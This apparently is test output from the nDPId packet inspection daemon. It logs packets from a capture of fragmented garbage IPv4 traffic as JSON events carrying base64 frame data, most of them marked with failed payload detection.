+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740877,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740898,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740935,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740948,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740961,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740973,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740985,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740997,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741009,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741035,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741047,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741058,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741070,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741083,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741095,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741109,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741121,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741133,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741145,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741160,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741172,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741218,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741233,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741245,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741258,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741280,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741510,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741522,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741534,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741547,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741559,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741582,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":741595,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkdWCjQyMTQ2"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1534244028041,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":13105,"dst_port":14648,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41673,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCNCBAAA"} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":41690,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 